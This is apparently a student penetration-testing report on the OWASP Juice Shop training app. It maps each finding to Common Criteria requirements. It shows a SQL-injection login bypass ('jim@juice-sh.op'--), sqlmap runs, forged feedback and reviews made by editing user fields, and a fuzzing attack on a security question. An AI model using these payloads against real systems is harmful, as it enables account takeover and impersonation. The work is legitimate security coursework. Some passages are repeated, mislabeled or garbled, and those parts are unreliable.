Below the browser is the ZAP 2.14.0 interface. The "Request" tab is selected, showing a POST request to http://127.0.0.1:3000/rest/user/login. The "Header" section includes "Content-Type: application/json" and "Content-Length: 50". The "Body" section contains the JSON payload: {"email": "jim@juice-sh.op", "password": "askorva@l"}. The ZAP interface also shows a list of sites in the "Sites" panel and a table of network traffic in the "History" panel.

Screenshot of ZAP 2.14.0 showing a failed login attempt.

Request:

```
POST http://127.0.0.1:3000/rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/

{"email":"jim@juice-sh.op'--","password":"apoorva@1"}
```

Response:

```
HTTP/1.1 401 Unauthorized
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: text/html; charset=utf-8
Content-Length: 26

Invalid email or password.
```

Alerts:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
20,...	Pr...	4/29/24, 6:36:01 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	2...	0 bytes				
20,...	Pr...	4/29/24, 6:36:01 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	5...	26 bytes		Medium		
20,...	Pr...	4/29/24, 6:36:13 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	6...	0 bytes		Medium		
20,...	Pr...	4/29/24, 6:36:13 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	11 bytes				
20,...	Pr...	4/29/24, 6:36:13 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	6...	26 bytes		Information...		
20,...	Pr...	4/29/24, 6:36:00 PM	GET	http://127.0.0.1:3000/socket.io/?EIO=4&r...	200	OK	2...	1 bytes		Medium		

Screenshot of ZAP 2.14.0 showing a successful login attempt.

Request:

```
POST http://127.0.0.1:3000/rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/

{"email":"jim@juice-sh.op'--","password":"apoorva@1"}
```



Response:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 792

{"authentication":{"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGFdXM1oiJzdwNjZXNzIiwiZGF0YSI6eyJpZCIGMiwiDXNLcm5hbWUiOjIiLCJlbWFpbCI6ImppbuBqdwljZS1zaC5vcClisInBhc3N3b3JkIjoiZTU0MWwhh2VjZwyyYjhkMTI4NjQ3NGZjNjEzTVlNDUiLCJyb2x1IjoiY3VzdG9tZXIiLCjkZwxleGVUb2tlb1I6iiIsImxhc3RMb2dpbkIwIjoiiIwichHjVzmLsZUltyWd1IjoiYXNzZXRsL3B1YmxpYy9pbW"}}
```

Alerts:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
20,...	Pr...	4/29/24, 6:36:01 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	2...	0 bytes				
20,...	Pr...	4/29/24, 6:36:01 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	5...	26 bytes		Medium		
20,...	Pr...	4/29/24, 6:36:13 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	6...	0 bytes		Medium		
20,...	Pr...	4/29/24, 6:36:13 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	11 bytes				
20,...	Pr...	4/29/24, 6:36:13 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	6...	26 bytes		Information...		
20,...	Pr...	4/29/24, 6:36:00 PM	GET	http://127.0.0.1:3000/socket.io/?EIO=4&r...	200	OK	2...	1 bytes		Medium		



Screenshot of a Kali Linux desktop environment showing the OWASP Juice Shop application and terminal window.

OWASP Juice Shop Application:



- The application is running at <https://127.0.0.1:3000/#/search>.
- A success message: "You successfully solved a challenge: Login Jim (Log in with Jim's user account.)" is displayed.
- The "All Products" section shows three items:
 - Apple Juice (1000ml) - 1.99¤
 - Apple Pomace - 0.89¤
 - Banana Juice (1000ml) - 1.99¤
- The user profile dropdown shows "jim@juice-sh.op" and "Logout".
- A cookie banner at the bottom right states: "This website uses fruit cookies to ensure you get the juiciest tracking experience. [But me wait!](#)" with a "Me want it!" button.

Terminal Window:

```

Apple UTM File Edit View Window Help
Linux
Open *login.txt /home/kali/Downloads
1 POST http://127.0.0.1:3000/rest/user/login HTTP/1.1
2 host: 127.0.0.1:3000
3 User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: application/json, text/plain, */*
5 Accept-Language: en-US,en;q=0.5
6 Referer: https://127.0.0.1:3000/
7 Content-Type: application/json
8 Content-Length: 49
9 Origin: https://127.0.0.1:3000
10 Connection: keep-alive
11 Cookie: language=en; welcomebanner_status=dDismiss;
  continueCode=kX58N9q1y43xK2MwbDmvVnz03VfDh4etn9t6GQ70BYrJRLPeZpL6EKgWoja; cookieconsent_status=dDismiss
12 Sec-Fetch-Dest: empty
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Site: same-origin
15
16 {"email": "jim@juice-sh.op", "password": "password"}]
```

The terminal also displays system logs and a file browser window showing files in /kali/Downloads.



```

root@kali:~/home/kali/Downloads
# sudo sqlmap -r login.txt --ignore-code=401
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 01:32:48 /2024-04-22/
[01:32:48] [INFO] parsing HTTP request from 'login.txt'
[01:32:50] [INFO] data found in POST body. Do you want to process it? [Y/n/q] Y
[01:32:50] [INFO] testing connection to the target URL
[01:32:50] [INFO] testing if the target URL content is stable
[01:32:50] [INFO] target URL content is stable
[01:32:50] [INFO] testing if (custom) POST parameter 'JSON_email' is dynamic
[01:32:50] [WARNING] (custom) POST parameter 'JSON_email' does not appear to be dynamic
[01:32:50] [WARNING] heuristic (basic) test shows that (custom) POST parameter

```



```

root@kali:~/home/kali/Downloads
# sudo sqlmap -r login.txt --ignore-code=401
[01:33:03] [INFO] testing 'Generic inline queries'
[01:33:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[01:33:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[01:33:03] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[01:33:04] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)'
[01:33:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:33:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[01:33:04] [INFO] testing 'Oracle AND time-based blind'
[01:33:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:33:05] [WARNING] (custom) POST parameter 'JSON_password' does not seem to be injectable
[01:33:05] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper="space2comment") and/or switch '--random-agent'
[01:33:05] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 195 times, 500 (Internal Server Error) - 51 times
[*] ending @ 01:33:05 /2024-04-22/

```

(c) Explanation of how the evidence included in (b) proves that FIA_UAU.1.2 is violated:

Found Jim's email by signing in as an administrator or by looking up his reviews that were posted. Then tried to use a randomly generated password to log in and initiate ZAP's POST technique. Then added -- and provided any password to Jim's email address, jim@juice-sh.op, using ZAP's repeater. Jim's account was reset after sending this, which resolved the challenge, according to a 200 answer.

An further technique made use of SQL injection. Using SQLMap (sqlmap -r login.txt), we generated a file called login.txt that included the login request. Once the tester successfully reset the password (usually "Y", "Y", and "N") or disregarded problems, the challenge was accomplished.

Through this test, failures in the system were exposed, showing how attackers might alter login requests or bypass authentication using SQL injection.

SFR Identifier: FDP _UAU.3.1

FIA_UAU 3.1: The TOE shall prevent use of authentication data that has been forged by any user of the TOE.

Related Vulnerability Challenges: -

- 1. Forged Feedback**
- 2. Forged Review**
- 3. CSRF**
- 4. Forged Coupon**
- 5. Admin Registration**
- 6. Login Bjoern**
- 7. Login Bender**
- 8. Login Admin**

Tested Vulnerability Challenges: -

1) Forged Feedback: Post some feedback in another user's name.

a) Description of penetration testing that was carried out.

1. Open the customer feedback page which is found under the 3 line by clicking the button on the top left corner of the homepage.
2. We can here write down the comment, as provide the rating, and solve the captcha in order to successfully post the feedback.

3. I gave comment as “feedback” with 5 star rating and captcha as 96. In ZAP there is POST request (<http://127.0.0.1:3000/api/feedbacks/>), with “201 created” response code.
4. The request body will contain {"captchaId":1, "captcha": "6", "comment": "feedback (anonymous)", "rating": 5}.
5. The user id is hidden since in the response body, there is a key/value field named “UserId”: null.
6. Right click in the UI screen and open inspect console of Customer feedback there above the author field we can see that user id is hidden field.
7. We will remove the “hidden” attribute for userId field to unhide the input field.
8. Now, we can see the user id so we can enter some valid userId, add some comment and rating and submit it.
9. We can see new feedback was successfully created with “userId”:3 in the request body with “201 created” response code.
10. In this way, we forged a feedback using another’s userId, resulting in violation of the SFR.

b) Outcomes/Evidence of the Penetration Testing.

A screenshot of a web browser window titled "OWASP Juice Shop". The URL is https://127.0.0.1:3000/#/contact. The page displays a "Customer Feedback" form. The "Author" field contains "anonymous". The "Comment" field contains "feedback". A note indicates "Max. 180 characters" with "8/160" remaining. The "Rating" slider is set to 0. Below the form is a CAPTCHA question: "CAPTCHA: What is 6*8*2 ?" with the answer "96" entered. A "Submit" button is at the bottom. The browser's sidebar shows various Kali Linux tools like Nmap, Metasploit, and John the Ripper. The status bar at the bottom shows "History 391" and "WebSockets 176". A footer note says "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!" with a "Me want it!" button.

The screenshot shows the ZAP interface with the following details:

- Sites:** Contexts → Default Context → https://queue.simpleletf.org
- Request:** HTTP-1.1 201 Created
- Header:** Content-Type: application/json; charset=utf-8
- Content:** JSON response with status: "success", data: {"id": 9, "comment": "feedback (anonymous)", "rating": 5, "updatedAt": "2024-04-21T21:32:15.303Z", "createdAt": "2024-04-21T21:32:15.303Z", "UserId": null}

The screenshot shows a ZAP session titled "Untitled Session - originalcoursework - ZAP 2.14.0". In the "Request" tab, a POST request is made to `http://127.0.0.1:3000/api/Feedbacks/` with the following JSON payload:

```
POST http://127.0.0.1:3000/api/Feedbacks/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
content-length: 0

{
  "captchaId": 1,
  "captcha": "6",
  "comment": "feedback (anonymous)",
  "rating": 5,
  "UserId": 3
}
```

The "Response" tab shows an Internal Server Error (HTTP 500) with the following headers and body:

```
Header: Text Body: Text
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs

{
  "error": {
    "message": "WHERE parameter \"captchaId\" has invalid \"undefined\" value",
    "stack": "Error: WHERE parameter \"captchaId\" has invalid \"undefined\" value\n    at SQLiteQueryGenerator._whereItemQuery (/juice-shop/node_modules/sequil...
```

At the bottom, the "Alerts" tab shows several recent alerts, including:

- 2,101 → Pr... 4/21/24, 10:31:52... GET http://127.0.0.1:3000/rest/user/whoami 200 OK 1... 11 bytes 🚨 Medium JSON
- 2,102 → Pr... 4/21/24, 10:31:52... GET http://127.0.0.1:3000/rest/captcha/ 200 OK 4... 46 bytes 🚨 Informati... JSON
- 2,103 → Pr... 4/21/24, 10:32:15... POST http://127.0.0.1:3000/api/Feedbacks/ 201 Created 3... 172 bytes 🚨 Medium JSON
- 2,104 → Pr... 4/21/24, 10:32:15... GET http://127.0.0.1:3000/rest/user/whoami 304 Not Modifi... 5... 0 bytes 🚨 Informati... JSON
- 2,105 → Pr... 4/21/24, 10:32:15... GET http://127.0.0.1:3000/rest/captcha/ 200 OK 3... 47 bytes 🚨 Medium JSON
- 2,106 → M... 4/21/24, 10:34:02... POST http://127.0.0.1:3000/api/Feedbacks/ 500 Internal ... 1... 1,207 bytes 🚨 Medium JSON

The screenshot shows the ZAP interface with a successful POST request to `http://127.0.0.1:3000/api/Feedbacks/`. The response status is `HTTP/1.1 201 Created`. The response body contains JSON data indicating success, including an ID of 10, a comment, a rating of 5, and a user ID of 3.

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,103	Pr...	4/21/24, 10:32:15...	POST	http://127.0.0.1:3000/api/Feedbacks/	201	Created	3...	172 bytes	Medium			
2,104	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/user/whosam	304	Not Modifi...	5...	0 bytes	Information...			
2,105	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/captcha/	200	OK	3...	47 bytes	Medium			
2,106	M...	4/21/24, 10:34:02...	POST	http://127.0.0.1:3000/api/Feedbacks/	500	Internal ...	1...	1,207 bytes	Medium			
2,107	M...	4/21/24, 10:35:29...	POST	http://127.0.0.1:3000/api/Feedbacks/	201	Created	4...	170 bytes	Medium			JSON
2,108	Pr...	4/21/24, 10:35:29...	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	6...	79 bytes	Medium			JSON

Screenshot of ZAP 2.14.0 showing a successful POST request to /api/Feedbacks/13.

Request:

```
POST http://127.0.0.1:3000/api/Feedbacks/13 HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
content-length: 85

{"captchaId":1,"captcha":6,"comment": "feedback (anonymous)","rating":5,"UserId":3}
```

Response:

```
HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs

{"status": "success", "data": {"id": 13, "comment": "feedback (anonymous)", "rating": 5, "UserId": 3, "updatedAt": "2024-04-21T21:35:29.239Z", "createdAt": "2024-04-21T21:35:29.239Z"}}
```

History Table:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,103	Pr...	4/21/24, 10:32:15...	POST	http://127.0.0.1:3000/api/Feedbacks/13	201	Created	3...	172 bytes	Medium	Medium		
2,104	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	5...	0 bytes	Medium	Informational		
2,105	Pr...	4/21/24, 10:32:15...	GET	http://127.0.0.1:3000/rest/captcha/13	200	OK	3...	47 bytes	Medium	Medium		
2,106	M...	4/21/24, 10:34:02...	POST	http://127.0.0.1:3000/api/Feedbacks/13	500	Internal ...	1...	1,207 bytes	Medium	Medium		
2,107	M...	4/21/24, 10:35:29...	POST	http://127.0.0.1:3000/api/Feedbacks/13	201	Created	4...	170 bytes	Medium	Medium	JSON	
2,108	Pr...	4/21/24, 10:35:29...	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	6...	79 bytes	Medium	Medium	JSON	

Screenshot of ZAP 2.14.0 showing a successful POST request to /api/Feedbacks/13.

Request:

```
HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Location: /api/Feedbacks/13
Content-Type: application/json; charset=utf-8
Content-Length: 172

{"status": "success", "data": {"id": 13, "comment": "feedbackui (anonymous)", "rating": 5, "updatedAt": "2024-04-21T21:41:03.670Z", "createdAt": "2024-04-21T21:41:03.670Z"}}
```

History Table:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
2,113	Pr...	4/21/24, 10:39:49...	POST	http://127.0.0.1:3000/api/Feedbacks/13	201	Created	2...	172 bytes	Medium	Medium	JSON	
2,114	Pr...	4/21/24, 10:39:49...	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	1...	0 bytes	Medium	Medium		
2,115	Pr...	4/21/24, 10:39:49...	GET	http://127.0.0.1:3000/rest/captcha/13	200	OK	8...	48 bytes	Medium	Medium	JSON	
2,116	Pr...	4/21/24, 10:41:03...	POST	http://127.0.0.1:3000/api/Feedbacks/13	201	Created	2...	172 bytes	Medium	Medium	JSON	
2,117	Pr...	4/21/24, 10:41:03...	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	4...	0 bytes	Medium	Medium		
2,118	Pr...	4/21/24, 10:41:03...	GET	http://127.0.0.1:3000/rest/captcha/13	200	OK	3...	48 bytes	Medium	Medium	JSON	

The screenshot shows the OWASP Juice Shop application running in a browser. A green notification bar at the top states: "You successfully solved a challenge: Forged Feedback (Post some feedback in another user's name.)". Below this, the "Customer Feedback" form is displayed. The "Author" field contains "anonymous" and the "Comment" field contains "feedback". The "Rating" slider is set to 5. In the bottom right corner of the page, there is a message: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait! Me want it!"

The screenshot shows the ZAP developer tools with the "Rules" tab selected. The DOM tree for the "Customer Feedback" form is visible, highlighting the "Author" input field and the "Comment" input field.

The screenshot shows the OWASP Juice Shop application again. The "Comment" field now contains "feedbackui". The rest of the form fields and the success message remain the same as in the first screenshot.

(c) Explanation of how the evidence included in (b) proves that FIA_UAU.1.2 is violated:

Started by accessing the page for customer feedback. In order to post the feedback, we answered the captcha, gave rating, and gave feedback. The POST request to /api/feedbacks/ using ZAP; this request resulted in a "201 Created" response.

Fields for the captcha ID, remark, rating, and hidden user ID were all present in the request body. After that, the user ID field was visible after inspecting the console and removing the "hidden" property. Once a legitimate user ID was entered, a new comment and rating were added, and the feedback was successfully forged using the ID of another user. This proved that the security functional requirement (SFR) had been broken.

The vulnerability was found through a successful penetration test, emphasizing the need for improved input validation and more robust access control measures to stop unauthorized individuals from

VC: Forged Review - Post a product review as another user or edit any user's existing review.

Tested Vulnerability Challenges:

VC1: Forged Review

(a) Description of penetration testing:

9. Login to juice shop store using email = asd@asd.com, password = asd@123.
1. After successful login, added a review "ApoorvaCoursework" for Lemon Juice(500ml) item.
2. We could see a PUT `http://127.0.0.1:3000/rest/products/5/reviews` request in the request header and review message i.e. `{"message": "ApoorvaCoursework", "author": "asd@asd.com"}` in request body.
3. Copy the entire request header part and paste them in requester.
4. Edit the message and author name to some another user (I have used author name as `asdf@asdf.com`) in the requester body part.
5. New requester body json object `{"message": "ApoorvaCourseworkforgedreview", "author": "asdf@asdf.com"}`
6. Click on send.
7. A json object `{"status": "success"}` will be received in response.
8. This means that a new review was created for Lemon juice item with author name `"asdf@asdf.com"`.
9. Thus, Breaking the access control and solving the challenge.

(b) Outcomes (evidence) of the penetration testing in (a):

A screenshot of a web browser window displaying the OWASP Juice Shop application. The URL is <https://127.0.0.1:3000/#/search>. The page shows various juice products. A modal dialog is open over the 'Lemon Juice (500ml)' product card, which has a price of 2.99. The dialog is titled 'Reviews (1)' and contains a review entry field. The review text is "Review ~ ApoorvaCoursework". Below the review text, there is a note: "Max. 160 characters" and a character count indicator "17/160". At the bottom of the dialog are two buttons: "Close" and "Submit". The "Submit" button is highlighted with a cursor.

A screenshot of a web browser window displaying the OWASP Juice Shop application, identical to the one above. The URL is <https://127.0.0.1:3000/#/search>. The same 'Lemon Juice (500ml)' product card is shown, and the same modal dialog for reviews is open. However, the review text now contains an invalid URL: "Review ~ asdf@asdf.com ApoorvaCoursework". The rest of the dialog and interface are identical to the first screenshot.

The screenshot shows the ZAP 2.14.0 interface during a penetration test. The 'Request' tab displays a PUT request to `http://127.0.0.1:3000/rest/products/5/reviews` with the following JSON payload:

```
{
  "data": [
    {
      "product": "5",
      "message": "ApoorvaCourseworkforgedreview",
      "author": "asd@asd.com"
    }
  ]
}
```

The 'Response' tab shows a successful `HTTP/1.1 201 Created` response with the message `{"status": "success"}`. Below the tabs, a table lists recent proxy requests, and at the bottom, a browser window shows the OWASP Juice Shop search results page.

(c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

To evaluate the "Forged Review" vulnerability, we began by logging into the Juice Shop using the email `asd@asd.com` and the password `asd@123`. After logging in, we added a review titled "ApoorvaCoursework" for the Lemon Juice (500ml) item.

We started by utilizing the email address `asd@asd.com` and the password `asd@123` to log into the Juice Shop in order to assess the "Forged Review" vulnerability. We added a review

for the 500ml Lemon Juice item with the title "ApoorvaCoursework" after logging in.

A PUT request was detected with the review message {"message": "ApoorvaCoursework", "author": "asd@asd.com"} in the request body, and the request header /rest/products/5/reviews. The request header was copied and pasted into the requester.

Then, we created a new JSON object {"message": "ApoorvaCourseworkforgedreview", "author": "asdf@asdf.com"} and changed the message and author name to belong to pretend that it is a different user. We successfully created a new review for Lemon Juice with the author asdf@asdf.com, according to the JSON response we obtained after sending this updated request, with the status being "success."

This test demonstrated a lack of proper access control, allowing unauthorized creation of forged reviews and revealing the vulnerability.

Tested Vulnerability Challenges: -

- 1) **Reset Jim's Password:** Reset Jim's password via the Forgot Password mechanism with *the truthful answer* to his security question.
 - a) **Description of penetration testing that was carried out.**
 1. Logged in using admin email Id as shown in Admin Section or use= asd@asd.com, password = asd@123 to find the email of user Jim.
 2. Or Under the Green Smoothie item, find Jim's id as "**jim@juice-sh.op**"
 3. Next, we click on Login->Forget Password
 4. Using the above Jim's email id, Security question answer as anything you want (I have entered Apoorva), new password = jim@123, repeat password = jim@123.
 5. Click on change.
 6. The request json object will be {"email": "**jim@juice-sh.op**", "answer": "**Henry**", "new": "**jim@123**", "repeat": "**jim@123**" }.
 7. 401 Unauthorized error is triggered which says, "**Wrong answer to security question**".
 8. We search for list of sibling names of James on google basically the idea is to try as many names as possible I almost gave 100-150 names.
 9. Using these values we create a Fuzz attack payload by selecting security question value field.
 10. One of the values i.e. "**Samuel**" gets 200 Ok response. This indicates Jim's eldest sibling name is Samuel.
 11. In this way, Jim's password reset was successful by copying the authentication data for another user of the TOE.

b) Outcomes/Evidence of the Penetration Testing

The image contains two screenshots of a web browser displaying the OWASP Juice Shop application. Both screenshots show a dark-themed interface with a sidebar on the left containing various icons and links.

Screenshot 1: Login Page

The URL in the address bar is <https://127.0.0.1:3000/#/login>. The page title is "Login". It features fields for "Email *" (containing "jim@juice-sh.op") and "Password *". A message below the password field says "Please provide a password." There is a "Forgot your password?" link and a "Log in" button. A "Remember me" checkbox is checked. Below the form is a "Log in with Google" button and a link for "Not yet a customer?".

Screenshot 2: Forgot Password Page

The URL in the address bar is <https://127.0.0.1:3000/#/forgot-password>. The page title is "Forgot Password". It shows a message "Wrong answer to security question." and a "Security Question *". Below these are fields for "New Password *" and "Repeat New Password *". A note states "Password must be 5-40 characters long." A "Show password advice" toggle switch is shown. At the bottom is a "Change" button.

Screenshot of ZAP 2.14.0 showing a security audit session.

Header:

```
HTTP/1.1 401 Unauthorized
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: #/jobs
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 99
Date: Thu, 25 Apr 2024 11:50:18 GMT
```

Message:

Wrong answer to security question.

Alerts:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
11...	Pr...	4/25/24, 12:49:45...	GET	http://127.0.0.1:3000/rest/user/security-qu...	304	Not Mod...	1...	0 bytes			Medium		
11...	Pr...	4/25/24, 12:50:18...	POST	http://127.0.0.1:3000/rest/user/reset-pass...	401	Unautho...	2...	34 bytes			Medium		
11...	M...	4/25/24, 12:51:55...	POST	http://127.0.0.1:3000/rest/user/reset-pass...	500	Internal ...	1...	1,910 bytes			Medium	JSON	
11...	M...	4/25/24, 12:52:00...	POST	http://127.0.0.1:3000/rest/user/reset-pass...	500	Internal ...	9...	1,910 bytes			Medium	JSON	

Fuzzer:

Fuzz Locations:

- Add...
- Remove
- Payloads...
- Processors...

Request Headers:



```
POST http://127.0.0.1:3000/rest/user/reset-password
HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0)
Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
X-User-Email: jim@juice-sh.op
Content-Type: application/json
Content-Length: 77
Origin: https://127.0.0.1:3000
```

Request Body:

```
{"email": "jim@juice-sh.op", "answer": "jim", "new": "jim@123", "repeat": "jim@123"}
```

Alerts:

ID	Source	Req. T...	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
11...	Pr...	4/25/24,	GET	http://127.0.0.1:3000/rest/user/reset-pass...	500	Internal Err...	3...	1,910 bytes			Medium		
11...	Pr...	4/25/24,	GET	https://www.google.com/search?client=fir...	200	OK	5...	353,951 bytes			Medium		
11...	Pr...	4/25/24, 1:03:17 PM	GET	https://www.google.com/xjs/_/ss/k=xjs.s.E...	200	OK	4...	2,370 bytes			Low		
11...	Pr...	4/25/24, 1:03:17 PM	POST	https://www.google.com/gen_204?s=web&...	204	No Cont...	2...	0 bytes			Medium		



Screenshot of ZAP 2.14.0 showing a POST request to `http://127.0.0.1:30000/rest/user/reset-password`. The request header includes:

```
POST http://127.0.0.1:30000/rest/user/reset-password HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
X-User-Email: jim@juice-sh.op
Content-Type: application/json
content-length: 80
Origin: https://127.0.0.1:3000
Connection: keep-alive
```

The request body contains a JSON payload:

```
{"email":"jim@juice-sh.op", "answer": "Samuel", "new": "jim@123", "repeat": "jim@123"}
```



Task ID	Message Type	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	Highest Alert	State	Payloads
60 Fuzzed		500	Internal Serv...	4 ms	445 bytes	1,910 bytes			
53 Fuzzed		401	Unauthorized	142 ms	469 bytes	34 bytes			Wyatt
62 Fuzzed		500	Internal Serv...	2 ms	445 bytes	1,910 bytes			
19 Fuzzed		200	OK	643 ms	468 bytes	340 bytes			Samuel
64 Fuzzed		500	Internal Serv...	7 ms	445 bytes	1,910 bytes			
43 Fuzzed		401	Unauthorized	305 ms	469 bytes	34 bytes			John

Screenshot of ZAP 2.14.0 showing a POST request to `http://127.0.0.1:30000/rest/user/reset-password`. The request header includes:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: #/jobs
X-RateLimit-Limit: 100
```

The request body contains a JSON payload:

```
{"user":{"id":2, "username": "", "email": "jim@juice-sh.op", "password": "b4053e211ccf54037344990celc81dba", "role": "customer", "deluxeToken": "", "lastLoginIp": "", "profileImage": "assets/public/images/uploads/default.svg", "totpSecret": "", "isActive": true, "createdAt": "2024-04-23T22:04:39.067Z", "updatedAt": "2024-04-25T12:20:39.670Z", "deletedAt": null}}
```




The image shows a Kali Linux desktop environment with two Firefox browser windows open, both displaying the OWASP Juice Shop application.

Top Browser Window (Forgotten Password):

- The URL is `https://127.0.0.1:3000/#/forgot-password`.
- A green success message at the top states: "You successfully solved a challenge: Reset Jim's Password (Reset Jim's password via the Forgot Password mechanism with the original answer to his security question.)".
- The main form is titled "Forgot Password" and contains fields for "Email" (with validation "Please provide an email address."), "Security Question", "New Password" (with validation "Password must be 5-40 characters long. 0/20"), and "Repeat New Password" (with validation "0/20").
- A "Show password advice" toggle switch is present.
- A "Change" button is located at the bottom right of the form.

Bottom Browser Window (Login):

- The URL is `https://127.0.0.1:3000/#/login`.
- The form is titled "Login" and includes fields for "Email" (containing "jim@juice-sh.op") and "Password" (containing masked input).
- Below the form are links for "Forgot your password?" and "Log in with Google".
- Checkboxes for "Remember me" and "Log in" are visible.
- A "Not yet a customer?" link is at the bottom.



c) **Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:**

We found Jim's email under the Green Smoothie item or logged in with admin credentials to assess the target of evaluation's (TOE) security function requirement (SFR). Next, we tried resetting Jim's password using the "Forget Password" tool, trying out various responses to the security question. We found that "Samuel" answered the security question properly using a fuzz attack, allowing us to reset the password. This demonstrates a flaw that allows unauthorized users to compromise access control by resetting the password by stealing authentication information from another user.

2) SFR Identifier:

- **FIA_UAU 3.2:** The TOE shall prevent use of authentication data that has been copied from any other user of the TOE.

Related Vulnerability Challenges: -


1. Reset Jim's Password
2. Reset Bender's Password

Tested Vulnerability Challenges: -

- 2) **Reset Jim's Password:** Reset Jim's password via the Forgot Password mechanism with *the truthful answer* to his security question.
